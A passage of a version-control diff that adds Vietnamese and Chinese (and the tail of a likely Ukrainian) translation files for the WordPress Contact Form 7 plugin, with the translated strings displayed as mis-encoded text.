+msgstr "ÐÐ±ÐµÑÐµÐ³ÑÐž"
+
+#: /includes/admin-panel.php:92
+msgid "Delete this contact form"
+msgstr "ÐÐžÐŽÐ°Ð»ÐžÑÐž ÑÑ ÑÐŸÑÐŒÑ"
+
+#: /includes/admin-panel.php:93
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"ÐÐžÐŽÐ°Ð»ÐžÑÐž ÑÑ ÑÐŸÑÐŒÑ?.\n"
+"  'Cancel' - Ð·Ð°Ð»ÐžÑÐžÑÐž, 'OK' - Ð²ÐžÐŽÐ°Ð»ÐžÑÐž."
+
+#~ msgid "Form content"
+#~ msgstr "ÐÐŒÑÑÑ ÑÐŸÑÐŒÐž"
+#~ msgid "Mail template"
+#~ msgstr "ÐšÐ°Ð±Ð»ÐŸÐœ Ð»ÐžÑÑÐ°"
+#~ msgid "Sender field:"
+#~ msgstr "ÐÐŽÑÐµÑÐ° Ð²ÑÐŽÐ¿ÑÐ°Ð²ÐœÐžÐºÐ°:"
+#~ msgid "Recipient address:"
+#~ msgstr "ÐÐŽÑÐµÑÐ° ÐŸÑÑÐžÐŒÑÐ²Ð°ÑÐ°:"
+#~ msgid "Check this field as sender&#39;s name"
+#~ msgstr "ÐÐµÑÐµÐ²ÑÑÑÑÐž ÑÐµ Ð¿ÐŸÐ»Ðµ ÑÐº ÐžÐŒ'Ñ Ð²ÑÐŽÐ¿ÑÐ°Ð²ÐœÐžÐºÐ°"
+#~ msgid "Check this field as sender&#39;s email"
+#~ msgstr "ÐÐµÑÐµÐ²ÑÑÑÑÐž ÑÐµ Ð¿ÐŸÐ»Ðµ ÑÐº e-mail"
+#~ msgid "Check this field as sender&#39;s URL"
+#~ msgstr "ÐÐµÑÐµÐ²ÑÑÑÑÐž ÑÐµ Ð¿ÐŸÐ»Ðµ ÑÐº URL"
+#~ msgid "Don&#39;t check this field with Akismet"
+#~ msgstr "ÐÐµÑÐµÐ²ÑÑÑÑÐž ÑÐµ Ð¿ÐŸÐ»Ðµ Ð·Ð° ÐŽÐŸÐ¿ÐŸÐŒÐŸÐ³ÐŸÑ Akismet"
+#~ msgid "Insert"
+#~ msgstr "ÐÑÑÐ°Ð²ÐžÑÐž"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-vi.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-vi.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-vi.po	(revision 44)
@@ -0,0 +1,406 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-07 00:21+0900\n"
+"PO-Revision-Date: 2009-01-08 18:00+0700\n"
+"Last-Translator: Thanh Hai, Ha <thanhhai.ha@gmail.com>\n"
+"Language-Team: Thanh Hai, ha <thanhhai.ha@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_c\n"
+"X-Poedit-Basepath: ../..\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+"X-Poedit-Language: Vietnamese\n"
+"X-Poedit-Country: VIET NAM\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/wp-contact-form-7.php:391
+msgid "Contact form"
+msgstr "Biá»u máº«u liÃªn há»"
+
+#: contact-form-7/wp-contact-form-7.php:548
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:566
+msgid "optional"
+msgstr "tÃ¹y chá»n"
+
+#: contact-form-7/wp-contact-form-7.php:567
+msgid "Generate Tag"
+msgstr "Táº¡o Tháº»"
+
+#: contact-form-7/wp-contact-form-7.php:568
+msgid "Text field"
+msgstr "TrÆ°á»ng vÄn báº£n"
+
+#: contact-form-7/wp-contact-form-7.php:569
+msgid "Email field"
+msgstr "TrÆ°á»ng thÆ° Äiá»n tá»­"
+
+#: contact-form-7/wp-contact-form-7.php:570
+msgid "Text area"
+msgstr "Khung nháº­p liá»u"
+
+#: contact-form-7/wp-contact-form-7.php:571
+msgid "Drop-down menu"
+msgstr "Danh sÃ¡ch chá»n"
+
+#: contact-form-7/wp-contact-form-7.php:572
+msgid "Checkboxes"
+msgstr "Ã kiá»m"
+
+#: contact-form-7/wp-contact-form-7.php:573
+msgid "Radio buttons"
+msgstr "NÃºt chá»n"
+
+#: contact-form-7/wp-contact-form-7.php:574
+msgid "Acceptance"
+msgstr "Cháº¥p nháº­n"
+
+#: contact-form-7/wp-contact-form-7.php:575
+msgid "Make this checkbox checked by default?"
+msgstr "Máº·c Äá»nh chá»n sáºµn"
+
+#: contact-form-7/wp-contact-form-7.php:576
+msgid "Make this checkbox work inversely?"
+msgstr "CÃ³ tÃ¡c dá»¥ng ngÆ°á»£c láº¡i"
+
+#: contact-form-7/wp-contact-form-7.php:577
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* CÃ³ nghÄ©a lÃ  khÃ¡ch ghÃ© khÃŽng ÄÃ¡nh dáº¥u chá»n náº¿u cháº¥p nháº­n."
+
+#: contact-form-7/wp-contact-form-7.php:578
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:579
+msgid "File upload"
+msgstr "ÄÃ­nh kÃšm táº­p tin"
+
+#: contact-form-7/wp-contact-form-7.php:580
+msgid "Submit button"
+msgstr "NÃºt gá»­i"
+
+#: contact-form-7/wp-contact-form-7.php:581
+msgid "Name"
+msgstr "TÃªn"
+
+#: contact-form-7/wp-contact-form-7.php:582
+msgid "Required field?"
+msgstr "TrÆ°á»ng báº¯t buá»c"
+
+#: contact-form-7/wp-contact-form-7.php:583
+msgid "Allow multiple selections?"
+msgstr "Cho phÃ©p chá»n nhiá»u má»¥c"
+
+#: contact-form-7/wp-contact-form-7.php:584
+msgid "Insert a blank item as the first option?"
+msgstr "Äá» trá»ng lá»±a chá»n Äáº§u tiÃªn"
+
+#: contact-form-7/wp-contact-form-7.php:585
+msgid "Make checkboxes exclusive?"
+msgstr "Táº¡o cÃ¡c ÃŽ kiá»m riÃªng biá»t"
+
+#: contact-form-7/wp-contact-form-7.php:586
+msgid "Choices"
+msgstr "CÃ¡c lá»±a chá»n"
+
+#: contact-form-7/wp-contact-form-7.php:587
+msgid "Label"
+msgstr "NhÃ£n"
+
+#: contact-form-7/wp-contact-form-7.php:588
+msgid "Default value"
+msgstr "GiÃ¡ trá» máº·c Äá»nh"
+
+#: contact-form-7/wp-contact-form-7.php:589
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:590
+msgid "This field requires author's name"
+msgstr "YÃªu cáº§u ngÆ°á»i gá»­i pháº£i nháº­p tÃªn"
+
+#: contact-form-7/wp-contact-form-7.php:591
+msgid "This field requires author's URL"
+msgstr "YÃªu cáº§u ngÆ°á»i gá»­i pháº£i nháº­p URL"
+
+#: contact-form-7/wp-contact-form-7.php:592
+msgid "This field requires author's email address"
+msgstr "YÃªu cáº§u ngÆ°á»i gá»­i pháº£i nháº­p Äá»a chá» thÆ° Äiá»n tá»­"
+
+#: contact-form-7/wp-contact-form-7.php:593
+msgid "Copy this code and paste it into the form left."
+msgstr "Sao chÃ©p Äoáº¡n mÃ£ nÃ y vÃ  dÃ¡n vÃ o bÃªn trÃ¡i."
+
+#: contact-form-7/wp-contact-form-7.php:594
+msgid "Foreground color"
+msgstr "MÃ u chá»¯"
+
+#: contact-form-7/wp-contact-form-7.php:595
+msgid "Background color"
+msgstr "MÃ u ná»n"
+
+#: contact-form-7/wp-contact-form-7.php:596
+msgid "Image size"
+msgstr "KÃ­ch cá»¡ hÃ¬nh áº£nh"
+
+#: contact-form-7/wp-contact-form-7.php:597
+msgid "Small"
+msgstr "Nhá»"
+
+#: contact-form-7/wp-contact-form-7.php:598
+msgid "Medium"
+msgstr "Vá»«a"
+
+#: contact-form-7/wp-contact-form-7.php:599
+msgid "Large"
+msgstr "To"
+
+#: contact-form-7/wp-contact-form-7.php:600
+msgid "Image settings"
+msgstr "Thiáº¿t láº­p hÃ¬nh áº£nh"
+
+#: contact-form-7/wp-contact-form-7.php:601
+msgid "Input field settings"
+msgstr "Thiáº¿t láº­p ÃŽ nháº­p liá»u"
+
+#: contact-form-7/wp-contact-form-7.php:602
+msgid "For image"
+msgstr "DÃ¹ng cho hÃ¬nh áº£nh"
+
+#: contact-form-7/wp-contact-form-7.php:603
+msgid "For input field"
+msgstr "DÃ¹ng cho ÃŽ nháº­p liá»u"
+
+#: contact-form-7/wp-contact-form-7.php:604
+msgid "* One choice per line."
+msgstr "* Má»i má»t lá»±a chá»n trÃªn má»t dÃ²ng."
+
+#: contact-form-7/wp-contact-form-7.php:605
+msgid "Show"
+msgstr "Hiá»n thá»"
+
+#: contact-form-7/wp-contact-form-7.php:606
+msgid "Hide"
+msgstr "áºšn"
+
+#: contact-form-7/wp-contact-form-7.php:607
+msgid "File size limit"
+msgstr "Giá»i háº¡n kÃ­ch cá»¡ táº­p tin"
+
+#: contact-form-7/wp-contact-form-7.php:608
+msgid "Acceptable file types"
+msgstr "Cháº¥p nháº­n cÃ¡c loáº¡i táº­p tin"
+
+#: contact-form-7/wp-contact-form-7.php:634
+msgid "Contact form created."
+msgstr "Biá»u máº«u liÃªn há» ÄÃ£ ÄÆ°á»£c táº¡o."
+
+#: contact-form-7/wp-contact-form-7.php:637
+msgid "Contact form saved."
+msgstr "Biá»u máº«u liÃªn há» ÄÃ£ ÄÆ°á»£c lÆ°u."
+
+#: contact-form-7/wp-contact-form-7.php:640
+msgid "Contact form deleted."
+msgstr "Biá»u máº«u liÃªn há» ÄÃ£ ÄÆ°á»£c xÃ³a."
+
+#: contact-form-7/wp-contact-form-7.php:651
+msgid "Untitled"
+msgstr "KhÃŽng cÃ³ tiÃªu Äá»"
+
+#: contact-form-7/wp-contact-form-7.php:678
+msgid "Your Name"
+msgstr "TÃªn cá»§a báº¡n"
+
+#: contact-form-7/wp-contact-form-7.php:678
+#: contact-form-7/wp-contact-form-7.php:680
+msgid "(required)"
+msgstr "(báº¯t buá»c)"
+
+#: contact-form-7/wp-contact-form-7.php:680
+msgid "Your Email"
+msgstr "Äá»a chá» thÆ° Äiá»n tá»­ cá»§a báº¡n"
+
+#: contact-form-7/wp-contact-form-7.php:682
+msgid "Subject"
+msgstr "TiÃªu Äá»"
+
+#: contact-form-7/wp-contact-form-7.php:684
+msgid "Your Message"
+msgstr "ThÃŽng Äiá»p cá»§a báº¡n"
+
+#: contact-form-7/wp-contact-form-7.php:686
+#: contact-form-7/wp-contact-form-7.php:1325
+msgid "Send"
+msgstr "Gá»­i"
+
+#: contact-form-7/wp-contact-form-7.php:739
+msgid "Your message was sent successfully. Thanks."
+msgstr "ThÃŽng Äiá»p cá»§a báº¡n ÄÃ£ ÄÆ°á»£c gá»­i Äi. Cáº£m Æ¡n."
+
+#: contact-form-7/wp-contact-form-7.php:741
+#: contact-form-7/wp-contact-form-7.php:743
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Há» thá»ng khÃŽng thá» gá»­i thÃŽng Äiá»p cá»§a báº¡n. Vui lÃ²ng thá»­ láº¡i vÃ o lÃºc khÃ¡c hoáº·c liÃªn há» báº±ng cÃ¡ch khÃ¡c."
+
+#: contact-form-7/wp-contact-form-7.php:745
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "CÃ³ lá»i xáº£y ra trong quÃ¡ trÃ¬nh kiá»m tra. HÃ£y kiá»m tra cÃ¡c ÃŽ nháº­p liá»u vÃ  gá»­i láº¡i láº§n ná»¯a."
+
+#: contact-form-7/wp-contact-form-7.php:747
+msgid "Please accept the terms to proceed."
+msgstr "Báº¡n pháº£i cháº¥p nháº­n cÃ¡c Äiá»u khoáº£n Äá» tiáº¿p tá»¥c."
+
+#: contact-form-7/wp-contact-form-7.php:749
+msgid "Email address seems invalid."
+msgstr "Äá»a chá» thÆ° Äiá»n tá»­ khÃŽng há»£p lá»."
+
+#: contact-form-7/wp-contact-form-7.php:751
+msgid "Please fill the required field."
+msgstr "Vui lÃ²ng nháº­p cÃ¡c thÃŽng tin báº¯t buá»c."
+
+#: contact-form-7/wp-contact-form-7.php:753
+msgid "Your entered code is incorrect."
+msgstr "Äoáº¡n mÃ£ báº¡n nháº­p vÃ o khÃŽng ÄÃºng."
+
+#: contact-form-7/wp-contact-form-7.php:755
+msgid "Failed to upload file."
+msgstr "QuÃ¡ trÃ¬nh táº£i táº­p tin lÃªn tháº¥t báº¡i."
+
+#: contact-form-7/wp-contact-form-7.php:757
+msgid "This file type is not allowed."
+msgstr "Loáº¡i táº­p tin nÃ y khÃŽng ÄÆ°á»£c phÃ©p sá»­ dá»¥ng."
+
+#: contact-form-7/wp-contact-form-7.php:759
+msgid "This file is too large."
+msgstr "Táº­p tin nÃ y quÃ¡ to."
+
+#: contact-form-7/includes/admin-panel.php:20
+msgid "Add new"
+msgstr "ThÃªm biá»u máº«u má»i"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "Sao chÃ©p Äoáº¡n mÃ£ nÃ y vÃ  dÃ¡n vÃ o ná»i dung cá»§a bÃ i viáº¿t, trang tin hoáº·c widget."
+
+#: contact-form-7/includes/admin-panel.php:49
+#: contact-form-7/includes/admin-panel.php:253
+msgid "Save"
+msgstr "LÆ°u"
+
+#: contact-form-7/includes/admin-panel.php:55
+msgid "Delete this contact form"
+msgstr "XÃ³a biá»u máº«u liÃªn há» nÃ y"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr "Báº¡n cÃ³ muá»n xÃ³a biá»u máº«u liÃªn há» nÃ y?"
+
+#: contact-form-7/includes/admin-panel.php:70
+msgid "Form"
+msgstr "Biá»u máº«u"
+
+#: contact-form-7/includes/admin-panel.php:90
+msgid "Mail"
+msgstr "ThÆ° Äiá»n tá»­"
+
+#: contact-form-7/includes/admin-panel.php:97
+#: contact-form-7/includes/admin-panel.php:149
+msgid "To:"
+msgstr "Gá»­i Äáº¿n:"
+
+#: contact-form-7/includes/admin-panel.php:101
+#: contact-form-7/includes/admin-panel.php:153
+msgid "From:"
+msgstr "Gá»­i tá»«:"
+
+#: contact-form-7/includes/admin-panel.php:105
+#: contact-form-7/includes/admin-panel.php:157
+msgid "Subject:"
+msgstr "TiÃªu Äá»:"
+
+#: contact-form-7/includes/admin-panel.php:110
+#: contact-form-7/includes/admin-panel.php:162
+msgid "File attachments:"
+msgstr "ÄÃ­nh kÃšm táº­p tin:"
+
+#: contact-form-7/includes/admin-panel.php:112
+#: contact-form-7/includes/admin-panel.php:164
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(Báº¡n cáº§n pháº£i cÃ i Äáº·t WordPress 2.7 hoáº·c má»i hÆ¡n Äá» sá»­ dá»¥ng chá»©c nÄng nÃ y)"
+
+#: contact-form-7/includes/admin-panel.php:120
+#: contact-form-7/includes/admin-panel.php:172
+msgid "Use HTML content type"
+msgstr "Sá»­ dá»¥ng kiá»u ná»i dung HTML"
+
+#: contact-form-7/includes/admin-panel.php:125
+#: contact-form-7/includes/admin-panel.php:177
+msgid "Message body:"
+msgstr "Ná»i dung thÃŽng Äiá»p:"
+
+#: contact-form-7/includes/admin-panel.php:136
+msgid "Mail (2)"
+msgstr "ThÆ° Äiá»n tá»­ (2)"
+
+#: contact-form-7/includes/admin-panel.php:143
+msgid "Use mail (2)"
+msgstr "Sá»­ dá»¥ng thÆ° Äiá»n tá»­ (2)"
+
+#: contact-form-7/includes/admin-panel.php:188
+msgid "Messages"
+msgstr "CÃ¡c thÃŽng Äiá»p"
+
+#: contact-form-7/includes/admin-panel.php:196
+msgid "Sender's message was sent successfully"
+msgstr "ThÃŽng Äiá»p ÄÃ£ ÄÆ°á»£c gá»­i Äi thÃ nh cÃŽng"
+
+#: contact-form-7/includes/admin-panel.php:200
+msgid "Sender's message was failed to send"
+msgstr "Há» thá»ng khÃŽng thá» gá»­i thÃŽng Äiá»p Äi"
+
+#: contact-form-7/includes/admin-panel.php:204
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet ÄÃ¡nh giÃ¡ cÃ¡c hoáº¡t Äá»ng gá»­i thÆ° quáº¥y nhiá»
+u"
+
+#: contact-form-7/includes/admin-panel.php:208
+msgid "Validation errors occurred"
+msgstr "CÃ³ lá»i xáº£y ra trong quÃ¡ trÃ¬nh kiá»m tra"
+
+#: contact-form-7/includes/admin-panel.php:212
+msgid "There is a field that sender is needed to fill in"
+msgstr "NgÆ°á»i dÃ¹ng chÆ°a nháº­p thÃŽng tin yÃªu cáº§u"
+
+#: contact-form-7/includes/admin-panel.php:216
+msgid "Email address that sender entered is invalid"
+msgstr "Äá»a chá» thÆ° Äiá»n tá»­ ngÆ°á»i gá»­i khÃŽng há»£p lá»"
+
+#: contact-form-7/includes/admin-panel.php:220
+msgid "There is a field of term that sender is needed to accept"
+msgstr "NgÆ°á»i dÃ¹ng chÆ°a cháº¥p nháº­n Äiá»u khoáº£n"
+
+#: contact-form-7/includes/admin-panel.php:224
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "Äoáº¡n mÃ£ ngÆ°á»i gá»­i nháº­p vÃ o khÃŽng khá»p vá»i CAPTCHA"
+
+#: contact-form-7/includes/admin-panel.php:228
+msgid "Uploading a file fails for any reason"
+msgstr "QuÃ¡ trÃ¬nh táº£i táº­p tin lÃªn tháº¥t báº¡i khÃŽng rÃµ nguyÃªn nhÃ¢n"
+
+#: contact-form-7/includes/admin-panel.php:232
+msgid "Uploaded file is not allowed file type"
+msgstr "Táº­p tin táº£i lÃªn khÃŽng pháº£i lÃ  loáº¡i táº­p tin cho phÃ©p"
+
+#: contact-form-7/includes/admin-panel.php:236
+msgid "Uploaded file is too large"
+msgstr "Táº­p tin táº£i lÃªn quÃ¡ to"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-zh_CN.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-zh_CN.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-zh_CN.po	(revision 44)
@@ -0,0 +1,314 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: CF7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-08-10 18:56+0900\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Takayuki Miyoshi <takayukister@gmail.com>\n"
+"Language-Team: Soz <njupt.soz@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Chinese\n"
+"X-Poedit-Country: CHINA\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+#: contact-form-7/wp-contact-form-7.php:309
+msgid "Contact form"
+msgstr "èç³»è¡šå"
+
+#: contact-form-7/wp-contact-form-7.php:403
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr ""
+
+#: contact-form-7/wp-contact-form-7.php:419
+msgid "optional"
+msgstr "éé¡¹"
+
+#: contact-form-7/wp-contact-form-7.php:420
+msgid "Generate Tag"
+msgstr "çææ ç­Ÿ"
+
+#: contact-form-7/wp-contact-form-7.php:421
+msgid "Text field"
+msgstr "åè¡æå­"
+
+#: contact-form-7/wp-contact-form-7.php:422
+msgid "Email field"
+msgstr "é®ä»¶"
+
+#: contact-form-7/wp-contact-form-7.php:423
+msgid "Text area"
+msgstr "å€è¡æå­"
+
+#: contact-form-7/wp-contact-form-7.php:424
+msgid "Drop-down menu"
+msgstr "äžæèå"
+
+#: contact-form-7/wp-contact-form-7.php:425
+msgid "Checkboxes"
+msgstr "å€é"
+
+#: contact-form-7/wp-contact-form-7.php:426
+msgid "Radio buttons"
+msgstr "åé"
+
+#: contact-form-7/wp-contact-form-7.php:427
+msgid "Acceptance"
+msgstr "æ¥ååè®®"
+
+#: contact-form-7/wp-contact-form-7.php:428
+msgid "Make this checkbox checked by default?"
+msgstr "é»è®€åŸé"
+
+#: contact-form-7/wp-contact-form-7.php:429
+msgid "Make this checkbox work inversely?"
+msgstr "è®©å€éæ¡æ¹åå·¥äœ"
+
+#: contact-form-7/wp-contact-form-7.php:430
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "æå³çè®¿é®è
+äžåŸéæå¯ä»¥æäº€,åŸéäºå°±äžèœæäº€"
+
+#: contact-form-7/wp-contact-form-7.php:431
+msgid "CAPTCHA"
+msgstr "éªè¯ç "
+
+#: contact-form-7/wp-contact-form-7.php:432
+msgid "Submit button"
+msgstr "æäº€æé®"
+
+#: contact-form-7/wp-contact-form-7.php:433
+msgid "Name"
+msgstr "åå­"
+
+#: contact-form-7/wp-contact-form-7.php:434
+msgid "Required field?"
+msgstr "å¿
+å¡«?"
+
+#: contact-form-7/wp-contact-form-7.php:435
+msgid "Allow multiple selections?"
+msgstr "å
+è®žå€é?"
+
+#: contact-form-7/wp-contact-form-7.php:436
+msgid "Insert a blank item as the first option?"
+msgstr "ç¬¬äžéé¡¹äžºç©º?"
+
+#: contact-form-7/wp-contact-form-7.php:437
+msgid "Make checkboxes exclusive?"
+msgstr "åªèœéæ©äžé¡¹?"
+
+#: contact-form-7/wp-contact-form-7.php:438
+msgid "Choices"
+msgstr "éé¡¹"
+
+#: contact-form-7/wp-contact-form-7.php:439
+msgid "Label"
+msgstr "æ ç­Ÿ"
+
+#: contact-form-7/wp-contact-form-7.php:440
+msgid "Default value"
+msgstr "é»è®€åŒ"
+
+#: contact-form-7/wp-contact-form-7.php:441
+msgid "Akismet"
+msgstr ""
+
+#: contact-form-7/wp-contact-form-7.php:442
+msgid "This field requires author's name"
+msgstr "è¿äžªåºåèŠæ±å¡«ååå­"
+
+#: contact-form-7/wp-contact-form-7.php:443
+msgid "This field requires author's URL"
+msgstr "è¿äžªåºåèŠæ±å¡«åURL"
+
+#: contact-form-7/wp-contact-form-7.php:444
+msgid "This field requires author's email address"
+msgstr "è¿äžªåºåèŠæ±å¡«åEmailå°å"
+
+#: contact-form-7/wp-contact-form-7.php:445
+msgid "Copy and paste this code into the form"
+msgstr "å€å¶å¹¶ç²èŽŽå°è¡šåäž­"
+
+#: contact-form-7/wp-contact-form-7.php:446
+msgid "Foreground color"
+msgstr "åæ¯é¢è²"
+
+#: contact-form-7/wp-contact-form-7.php:447
+msgid "Background color"
+msgstr "èæ¯è²"
+
+#: contact-form-7/wp-contact-form-7.php:448
+msgid "Image size"
+msgstr "åŸåå€§å°"
+
+#: contact-form-7/wp-contact-form-7.php:449
+msgid "Small"
+msgstr "å°"
+
+#: contact-form-7/wp-contact-form-7.php:450
+msgid "Medium"
+msgstr "äž­"
+
+#: contact-form-7/wp-contact-form-7.php:451
+msgid "Large"
+msgstr "å€§"
+
+#: contact-form-7/wp-contact-form-7.php:452
+msgid "Image settings"
+msgstr "åŸåè®Ÿçœ®"
+
+#: contact-form-7/wp-contact-form-7.php:453
+msgid "Input field settings"
+msgstr "èŸå
+¥åºåè®Ÿçœ®"
+
+#: contact-form-7/wp-contact-form-7.php:454
+msgid "For image"
+msgstr "åŸå"
+
+#: contact-form-7/wp-contact-form-7.php:455
+msgid "For input field"
+msgstr "èŸå
+¥åºå"
+
+#: contact-form-7/wp-contact-form-7.php:456
+msgid "* One choice per line."
+msgstr "äžè¡äžé¡¹"
+
+#: contact-form-7/wp-contact-form-7.php:483
+msgid "Contact form created."
+msgstr "èç³»è¡šååå»ºæå"
+
+#: contact-form-7/wp-contact-form-7.php:486
+msgid "Contact form saved."
+msgstr "èç³»ä¿åä¿å­æå"
+
+#: contact-form-7/wp-contact-form-7.php:489
+msgid "Contact form deleted."
+msgstr "èç³»è¡šåå é€æå"
+
+#: contact-form-7/wp-contact-form-7.php:496
+msgid "Untitled"
+msgstr "æ²¡ææ é¢"
+
+#: contact-form-7/wp-contact-form-7.php:522
+msgid "Your Name"
+msgstr "äœ çåå­"
+
+#: contact-form-7/wp-contact-form-7.php:522
+#: contact-form-7/wp-contact-form-7.php:524
+msgid "(required)"
+msgstr "å¿
+å¡«"
+
+#: contact-form-7/wp-contact-form-7.php:524
+msgid "Your Email"
+msgstr "äœ çé®ç®±"
+
+#: contact-form-7/wp-contact-form-7.php:526
+msgid "Subject"
+msgstr "äž»é¢"
+
+#: contact-form-7/wp-contact-form-7.php:528
+msgid "Your Message"
+msgstr "è¯Šç»ä¿¡æ¯"
+
+#: contact-form-7/wp-contact-form-7.php:530
+#: contact-form-7/wp-contact-form-7.php:1046
+msgid "Send"
+msgstr "æäº€"
+
+#: contact-form-7/wp-contact-form-7.php:559
+msgid "Your message was sent successfully. Thanks."
+msgstr "äœ çä¿¡æ¯å·²ç»æäº€æåäº!è°¢è°¢!"
+
+#: contact-form-7/wp-contact-form-7.php:561
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "æäº€å€±èŽ¥,è¯·å°è¯äœ¿çšåŠäžç§æ¹æ³å»èç³»ç®¡çå."
+
+#: contact-form-7/wp-contact-form-7.php:563
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "éªè¯å€±èŽ¥,è¯·ç¡®è®€å¡«åçè¡šåæ²¡æéè¯¯"
+
+#: contact-form-7/wp-contact-form-7.php:565
+msgid "Please accept the terms to proceed."
+msgstr "è¯·åææ¡æ¬Ÿ,æèœæäº€"
+
+#: contact-form-7/wp-contact-form-7.php:567
+msgid "Email address seems invalid."
+msgstr "å¥œåé®ä»¶å°åäžå¯¹"
+
+#: contact-form-7/wp-contact-form-7.php:569
+msgid "Please fill the required field."
+msgstr "è¯·å¡«æ»¡å¿
+å¡«çè¡šå"
+
+#: contact-form-7/wp-contact-form-7.php:571
+msgid "Your entered code is incorrect."
+msgstr "æšçéªè¯ç æ¯éè¯¯ç"
+
+#: contact-form-7/includes/admin-panel.php:16
+msgid "Add new"
+msgstr "æ°å¢"
+
+#: contact-form-7/includes/admin-panel.php:32
+msgid "Copy and paste this code into your post content."
+msgstr "å€å¶å¹¶ç²èŽŽå°äœ çæ¥å¿äž­"
+
+#: contact-form-7/includes/admin-panel.php:38
+msgid "Form"
+msgstr "è¡šå"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Mail"
+msgstr "é®å¯"
+
+#: contact-form-7/includes/admin-panel.php:44
+#: contact-form-7/includes/admin-panel.php:65
+msgid "To:"
+msgstr "å°:"
+
+#: contact-form-7/includes/admin-panel.php:48
+#: contact-form-7/includes/admin-panel.php:69
+msgid "From:"
+msgstr "ä»:"
+
+#: contact-form-7/includes/admin-panel.php:52
+#: contact-form-7/includes/admin-panel.php:73
+msgid "Subject:"
+msgstr "äž»é¢:"
+
+#: contact-form-7/includes/admin-panel.php:56
+#: contact-form-7/includes/admin-panel.php:77
+msgid "Message body:"
+msgstr "é®ä»¶å
+å®¹:"
+
+#: contact-form-7/includes/admin-panel.php:61
+msgid "Mail (2)"
+msgstr "ç¡®è®€é®ä»¶"
+
+#: contact-form-7/includes/admin-panel.php:63
+msgid "Use mail (2)"
+msgstr "äœ¿çšé®ä»¶ç¡®è®€"
+
+#: contact-form-7/includes/admin-panel.php:85
+msgid "Save"
+msgstr "ä¿å­"
+
+#: contact-form-7/includes/admin-panel.php:92
+msgid "Delete this contact form"
+msgstr "å é€æ¬è¡šå"
+
+#: contact-form-7/includes/admin-panel.php:93
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"ç¡®è®€èŠå é€æ­€è¡šå?\n"
+"'Cancel' åæ¶,'OK' å é€"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-zh_TW.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-zh_TW.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-zh_TW.po	(revision 44)
@@ -0,0 +1,525 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 1.9.2.2 æ­£é«äž­æèªç³»æª\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-05-31 23:05+0900\n"
+"PO-Revision-Date: \n"
+"Last-Translator: James Wu <admin@jameswublog.com>\n"
+"Language-Team: http://jameswublog.com <phptech@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=n==1?0:1;\n"
+"X-Poedit-Language: Chinese\n"
+"X-Poedit-Country: TAIWAN\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+#: contact-form-7/wp-contact-form-7.php:373
+msgid "Contact form"
+msgstr "è¯çµ¡è¡šå®"
+
+#: contact-form-7/admin/admin-panel.php:6
+#: contact-form-7/admin/admin.php:111
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/admin/admin-panel.php:21
+msgid "Add new"
+msgstr "å»ºç«æ°è¯çµ¡è¡šå®"
+
+#: contact-form-7/admin/admin-panel.php:43
+msgid "Copy this code and paste it into your post, page or text widget content."
